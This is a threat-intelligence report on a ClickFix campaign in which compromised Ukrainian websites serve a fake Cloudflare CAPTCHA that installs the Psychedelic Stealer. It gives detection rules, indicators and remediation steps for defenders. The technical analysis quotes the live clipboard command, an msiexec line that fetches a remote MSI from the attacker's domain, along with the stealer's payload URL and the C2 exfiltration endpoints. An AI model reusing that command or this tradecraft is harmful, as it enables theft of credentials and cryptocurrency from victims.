Threat reportMalwareTL-2026-2699
ClickFix Campaign Abuses Compromised Ukrainian Websites to Deploy Psychedelic Stealer
Arctic Wolf Labs is tracking an active ClickFix campaign in which six compromised Ukrainian business websites serve a fake Cloudflare CAPTCHA that silently copies a msiexec.exe command to the clipboard and walks victims through pasting it into the Windows Run dialog.
Key facts
| Identifiers | TL-2026-2699 |
|---|---|
| Also known as | Psychedelic Stealer ClickFix Campaign |
| Severity | HIGH |
| First disclosed | |
| Affected products | Multiple Chromium-based web browsers (credential/token theft target); Multiple Desktop cryptocurrency wallet software (theft target); Multiple Browser-extension cryptocurrency wallets (theft target); Microsoft Windows Installer (msiexec.exe) |
| Nation-state nexus | Russia |
| Malware | Psychedelic Stealer |
| Tools | Rublevka TDS |
| MITRE ATT&CK techniques | T1005 Data from Local System, T1053.005 Scheduled Task, T1071.001 Web Protocols, T1082 System Information Discovery, T1140 Deobfuscate/Decode Files or Information, T1176 Software Extensions, T1204.004 Malicious Copy and Paste, T1218.007 Msiexec, T1528 Steal Application Access Token, T1555.003 Credentials from Web Browsers, T1583.001 Domains, T1614.001 System Language Discovery and 1 more in the attack flow |
| Motivation | FINANCIAL |
| Target sectors | retail, health, manufacturing, publishing, automotive |
| Target regions | ukraine, 151 - Eastern Europe, 155 - Western Europe, North America |
| Detection rules | 9 (1 shown free) |
| Sources | 6 cited sources |
Detection coverage
As of 2026-10-05, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2699 across Splunk SPL, Microsoft KQL and Sigma, covering 25 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.
Free detection: Psychedelic Stealer Persistence and Host/Browser Harvesting Artifacts — SPL
Detects the on-host artifacts Psychedelic Stealer creates after initial execution: the logon scheduled task 'psychedelicloveUtils' used for persistence, the com.lunex.explorer.json native-messaging host manifest that bridges a companion browser extension to the implant, and the wd_tmp.db / executed_tasks.json temp files used respectively to stage stolen Chromium token data and track remote-tasking state — collectively covering the malware's persistence, discovery, and browser credential/token/wallet harvesting behavior.
- Languages: Splunk SPL, Microsoft KQL, Sigma
- ATT&CK: T1053.005, T1176, T1555.003, T1528, T1005, T1082, T1614.001
- Data sources: sysmon, windows_security, microsoft_defender_for_endpoint, edr_file_monitoring
- Severity: critical
- Confidence: high
Splunk SPL
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
| eval cmd=lower(CommandLine), tgt=lower(TargetFilename)
| where (EventCode=1 AND cmd LIKE "%schtasks%" AND cmd LIKE "%psychedelicloveutils%")
OR (EventCode=11 AND (tgt LIKE "%wd_tmp.db" OR tgt LIKE "%executed_tasks.json" OR tgt LIKE "%com.lunex.explorer.json"))
| table _time, ComputerName, User, EventCode, Image, CommandLine, TargetFilename
| sort -_timeMicrosoft KQL
let taskArtifact = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "psychedelicloveUtils"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine;
let fileArtifact = DeviceFileEvents
| where Timestamp > ago(24h)
| where FileName in~ ("wd_tmp.db", "executed_tasks.json", "com.lunex.explorer.json")
| project Timestamp, DeviceName, AccountName, FileName, FolderPath;
taskArtifact
| union fileArtifactSigma
title: Psychedelic Stealer Scheduled Task Persistence (psychedelicloveUtils)
id: e7f3a2b0-6c4e-4b9a-9f1d-2a8c5e9b3f02
status: experimental
description: Detects creation of the psychedelicloveUtils logon scheduled task used by Psychedelic Stealer for persistence, and the supporting com.lunex.explorer.json native-messaging manifest and wd_tmp.db/executed_tasks.json artifacts used for browser token theft and remote-tasking state.
references:
- https://arcticwolf.com/resources/blog/psychedelic-stealer-fake-clickfix-captcha-targets-ukraine/
author: Threadlinqs Team
date: 2026-09-27
tags:
- attack.persistence
- attack.t1053.005
- attack.t1176
- attack.credential-access
- attack.t1555.003
- attack.t1528
- attack.malware.psychedelic_stealer
logsource:
category: process_creation
product: windows
detection:
selection_img:
Image|endswith: '\schtasks.exe'
selection_cmd:
CommandLine|contains: '/create'
selection_task:
CommandLine|contains: 'psychedelicloveUtils'
condition: all of selection_*
falsepositives:
- None expected; the task name is unique to this malware family and not used by any known legitimate software
level: criticalKnown false positives:
- None expected for the literal 'psychedelicloveUtils' task name or 'com.lunex.explorer' manifest; a generically-named 'wd_tmp.db' file could theoretically be created by unrelated Chromium tooling but co-occurrence with the task/manifest artifacts removes ambiguity
Tuning notes: The task and manifest names are unique to this campaign as observed; if the actor rotates them in future waves, pivot to the durable behavioral chain msiexec.exe -> psychedeliclove.exe -> schtasks.exe /create plus the wd_tmp.db temp-copy-of-Chromium-Web-Data pattern rather than the literal strings.
- ClickFix Clipboard-Hijack Msiexec Remote MSI Install (Psychedelic Stealer) — KQL · unlock with TL Creds
- Psychedelic Stealer Persistence and Host/Browser Harvesting Artifacts — KQL · unlock with TL Creds
- Psychedelic Stealer C2 Beaconing and Second-Stage Ingress Tool Transfer — KQL · unlock with TL Creds
- ClickFix Clipboard-Hijack Msiexec Remote MSI Install (Psychedelic Stealer) — Sigma · unlock with TL Creds
- Psychedelic Stealer Persistence and Host/Browser Harvesting Artifacts — Sigma · unlock with TL Creds
- Psychedelic Stealer C2 Beaconing and Second-Stage Ingress Tool Transfer — Sigma · unlock with TL Creds
- ClickFix Clipboard-Hijack Msiexec Remote MSI Install (Psychedelic Stealer) — SPL · unlock with TL Creds
- Psychedelic Stealer C2 Beaconing and Second-Stage Ingress Tool Transfer — SPL · unlock with TL Creds
Indicators of compromise
As of 2026-10-05, Threadlinqs Intelligence tracks 25 indicators of compromise for TL-2026-2699.
Sample indicators (3 of 25)
- IP address:
176.53.159[.]40 - Domain:
uasputnik[.]com - File hash:
38e90affe37342ee36917cdc535fe9bf04589afa8430eb8d1ba1016adcfc1878
Defanged, TLP:CLEAR. Full set of 25 indicators: unlock with TL Creds.
Community OSINT corroboration
2 of this threat's indicators have also been reported by the open-source security community. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.
Technical analysis
The resulting MSI installs Psychedelic Stealer, a 64-bit credential/token/cryptocurrency-wallet harvester with scheduled-task persistence and remote tasking of EXE/COM/BAT/CMD/MSI/PowerShell payloads via a C2 with Russian-language operator artifacts.
Beginning no later than 9 September 2026, an unattributed but assessed Russian-speaking threat actor compromised at least six legitimate Ukrainian small-business websites (a hair-treatment clinic, a scale-model manufacturer, a specialist bookseller/publisher, a psychological facility, a tool retailer, and an automotive retailer) and injected a hidden iframe that loads a remote script from fsputnik.com (hxxps://fsputnik.com/tds/tracker.js). The iframe renders a counterfeit Cloudflare 'verify you are human' page. The page declares lang="ru" and contains Russian-language HTML comments despite Ukrainian-visible text, displays a randomly generated hexadecimal 'Ray ID' and a fixed 'visitor identifier' (34as77), and reads 'Адреса сайту не визначена' ('site address not specified'). Clicking the CAPTCHA fires a 'click' beacon and immediately calls copyToClipboard() to place a Windows Installer command on the clipboard -- before the page ever shows the Windows+R instructions, creating a deliberate gap between the hidden action and the visible instruction. A three-second spinner and an approximately 35-second disabled 'Done' button add social-engineering pressure and buy time for the paste-and-run flow to feel deliberate rather than automatic.
The clipboard payload is a single line: Msiexec.exe /i "https://uasputnik.com/elita.msi" /passive ORG_NOTE="Захист від автоматичних запитів... Підтверджую, що я не робот." Using msiexec.exe with /passive avoids invoking powershell.exe or cmd.exe directly, side-stepping detections that focus on scripting-engine abuse. The domain uasputnik.com was registered on 9 September 2026 at 17:02:25 UTC through registrar Gransy, s.r.o. and was updated roughly 3.5 hours later; it resolved to 176.53.159.40 (AS154383, ZORNTECH WEB SOLUTIONS) from 9-14 September 2026. Multiple MSI filenames were observed served from the domain (elita.msi, miks.msi, astra.msi, harbor.msi, neon.msi, sova.msi, vyse.msi), consistent with per-target or per-campaign staging. The analyzed elita.msi (SHA-256 38e90affe37342ee36917cdc535fe9bf04589afa8430eb8d1ba1016adcfc1878) embeds an encrypted next-stage URL that decodes to http://107.175.82.242:9000/wilow/psychedeliclove.exe, along with decoy strings referencing MsMpEng.exe and explorer.exe.
psychedeliclove.exe (SHA-256 06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90) is a 64-bit Windows executable that Arctic Wolf Labs tracks as Psychedelic Stealer, based on an internal 'Psychedelic' configuration tag. It harvests saved passwords and account tokens from Chrome, Edge, Brave, Opera, Opera GX, Vivaldi, and Yandex (dedicated routines at offsets 0x140008da0 for passwords and 0x140009950 for tokens, the latter reading a temporary copy of the Chromium Web Data database named wd_tmp.db), and separately targets cryptocurrency assets: browser-extension wallets MetaMask, Trust Wallet, OKX Wallet, and SafePal (routine at 0x14000a8a0), and desktop wallets Exodus, Atomic Wallet, Electrum, Bitcoin Core, and Litecoin Core (routine at 0x14000ab60). Stolen data is uploaded over HTTP to a dedicated C2 at 193.178.159.128:8080, authenticated with an X-API-Key header, to endpoint-specific paths (/api/v1/checkin, /api/v1/ext/passwords, /api/v1/ext/tokens, /api/v1/ext/wallets). The malware also profiles the host (computer/user name, OS version and architecture, CPU/core count, RAM, GPU, disk size, timezone, language, screen resolution, MAC address, administrator status, installed AV, and installed browsers) and establishes persistence via a logon scheduled task named psychedelicloveUtils. Remote tasking is implemented through /api/v1/agent/tasks?hwid=%s (poll), /api/v1/agent/tasks/%llu/ack (acknowledge), and %s/d/%s (attachment retrieval), supporting EXE, COM, BAT, CMD, MSI, and PowerShell task types, with local state tracked in executed_tasks.json and downloaded files staged under downloads\<taskid>_<filename>. A native-messaging bridge (host name com.lunex.explorer, manifest com.lunex.explorer.json, with supporting host.ps1/host.bat scripts and an <<BP_INSTALLER_HWID>> placeholder) is deployed into browser profiles to let a companion browser extension communicate with the host implant.
The lure-side infrastructure is managed through a separate operator panel branded 'РУБЛЁВКА TDS' ('Rublevka TDS', named for a wealthy Moscow district), hosted on uasputnik.com, which configures per-domain payload delivery, polls visitor-interaction telemetry every two seconds, and retrieves the live payload value via an asynchronous request to admin777111777.php?api=get_payload&domain=uasputnik.com (falling back to a hardcoded placeholder if the response is too short, with no validation before the value is copied to the clipboard). At observation time the panel recorded 557 views, 426 clicks, and 79 'complete' events across 32 countries; the operators' own event model cannot distinguish web-lure progression from actual MSI execution or host compromise. Ukraine accounted for the large majority of recorded interaction (446 views, 351 clicks, 71 'complete' events), with smaller volumes from the United States, Poland, Germany, Canada, and the Netherlands, confirming Ukrainian users as the primary intended audience despite the campaign's incidental global reach. Arctic Wolf Labs assesses the operators are likely Russian-speaking based on the Russian-language HTML artifacts, the lang="ru" declaration, the 'Rublevka' panel branding, and source-code checks that avoid execution on hosts with Russian keyboard layouts, but has not attributed the activity to a named threat actor or group. No CVE applies; the entire chain relies on social engineering (ClickFix-style clipboard hijacking) rather than a software vulnerability.
MITRE ATT&CK techniques by tactic:
Collection
Persistence
T1053.005 Scheduled Task; T1176 Software Extensions
Command and Control
Discovery
T1082 System Information Discovery; T1614.001 System Language Discovery
Defense Evasion
T1140 Deobfuscate/Decode Files or Information; T1218.007 Msiexec
Execution
T1204.004 Malicious Copy and Paste
Credential Access
T1528 Steal Application Access Token; T1555.003 Credentials from Web Browsers
Resource Development
Impact
Remediation
Immediate actions
- Block network indicators at DNS/proxy/firewall: uasputnik.com, fsputnik.com, 193.178.159.128, 107.175.82.242
- Alert on and investigate any msiexec.exe execution using the /passive flag with a remote HTTPS MSI URL argument, particularly with an ORG_NOTE property
- Hunt for the scheduled task psychedelicloveUtils and supporting artifacts (executed_tasks.json, wd_tmp.db, downloads\<taskid>_<filename>) on Windows endpoints
- Force credential rotation for browser-saved passwords/tokens and move cryptocurrency wallet funds to new wallets on any host suspected of running psychedeliclove.exe
Workarounds
- Restrict or disable the Windows+R Run dialog via Group Policy on high-risk endpoint populations where operationally feasible
- Constrain msiexec.exe to signed/allow-listed installer sources using AppLocker or WDAC
Longer-term hardening
- Deploy EDR analytics for clipboard-to-Run-dialog execution chains characteristic of ClickFix-style social engineering
- Add web-integrity monitoring/CSP controls for customer-facing business websites to detect unauthorized iframe injection
- Run user-awareness training specifically covering fake CAPTCHA/'verify you are human' pages that instruct manual command execution via Windows+R
- Monitor for creation of native-messaging host manifests (e.g., com.lunex.explorer.json) as an indicator of browser-extension-based persistence
Affected and fixed versions
- Multiple — Chromium-based web browsers (credential/token theft target)
Vulnerable versions: Google Chrome; Microsoft Edge; Brave; Opera; Opera GX; Vivaldi; Yandex Browser - Multiple — Desktop cryptocurrency wallet software (theft target)
Vulnerable versions: Exodus; Atomic Wallet; Electrum; Bitcoin Core; Litecoin Core - Multiple — Browser-extension cryptocurrency wallets (theft target)
Vulnerable versions: MetaMask; Trust Wallet; OKX Wallet; SafePal - Microsoft — Windows Installer (msiexec.exe)
Vulnerable versions: Abused as a living-off-the-land execution proxy via /passive install of an attacker-hosted MSI; no vendor vulnerability involved
Timeline
Last updated · 2 updates
- locked-ioc-13 domain record updated approximately 3.5 hours after initial registration.
- Domain locked-ioc-13 registered at 17:02:25 UTC via registrar Gransy, s.r.o.; DNS A-record points to locked-ioc-14 (AS154383, ZORNTECH WEB SOLUTIONS).
- Fake Cloudflare CAPTCHA lure URLs referencing the compromised scale-model manufacturer and bookseller/publisher websites observed.
- Fake Cloudflare CAPTCHA lure URL referencing the compromised hair-treatment clinic website observed.
- Last observed association of locked-ioc-13 with IP locked-ioc-14, closing a roughly five-day operational window from registration.
- Arctic Wolf Labs publishes technical analysis 'The Psychedelic Stealer: When a CAPTCHA Becomes an Installer', naming and detailing the malware, ClickFix lure, and Rublevka TDS panel.
- Security Affairs, The Hacker News, and Techzine publish coverage summarizing the Arctic Wolf Labs findings, broadening public awareness of the campaign.
Update history
- 2026-10-05 — tweetfeed.live community intel: New TL_OSINT_Scan community intel: 1 newly-corroborated indicator(s), families: RoamingRAT.
- 2026-10-03 — tweetfeed.live community intel: New TL_OSINT_Scan community intel: 1 newly-corroborated indicator(s).
Sources cited
- The Psychedelic Stealer: When a CAPTCHA Becomes an Installer arcticwolf.com · Vendor report · 2026-09-24
- The Psychedelic Stealer: When a CAPTCHA Becomes an Installer (syndication) malware.news · Blog · 2026-09-24
- Fake Cloudflare ClickFix Pages Deliver Psychedelic Stealer to Ukrainian Users mallory.ai · Blog · 2026-09-25
- ClickFix campaign abuses trusted websites to deploy Psychedelic Stealer securityaffairs.com · News · 2026-09-25
- Hacked Ukrainian Sites Serve Fake Cloudflare ClickFix Lures for Psychedelic Stealer The Hacker News · News · 2026-09-25
- Arctic Wolf: Psychedelic stealer exploits CAPTCHA as an installer techzine.eu · News · 2026-09-25
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Drafted by the Threadlinqs research pipeline from 6 sources; published ; last updated .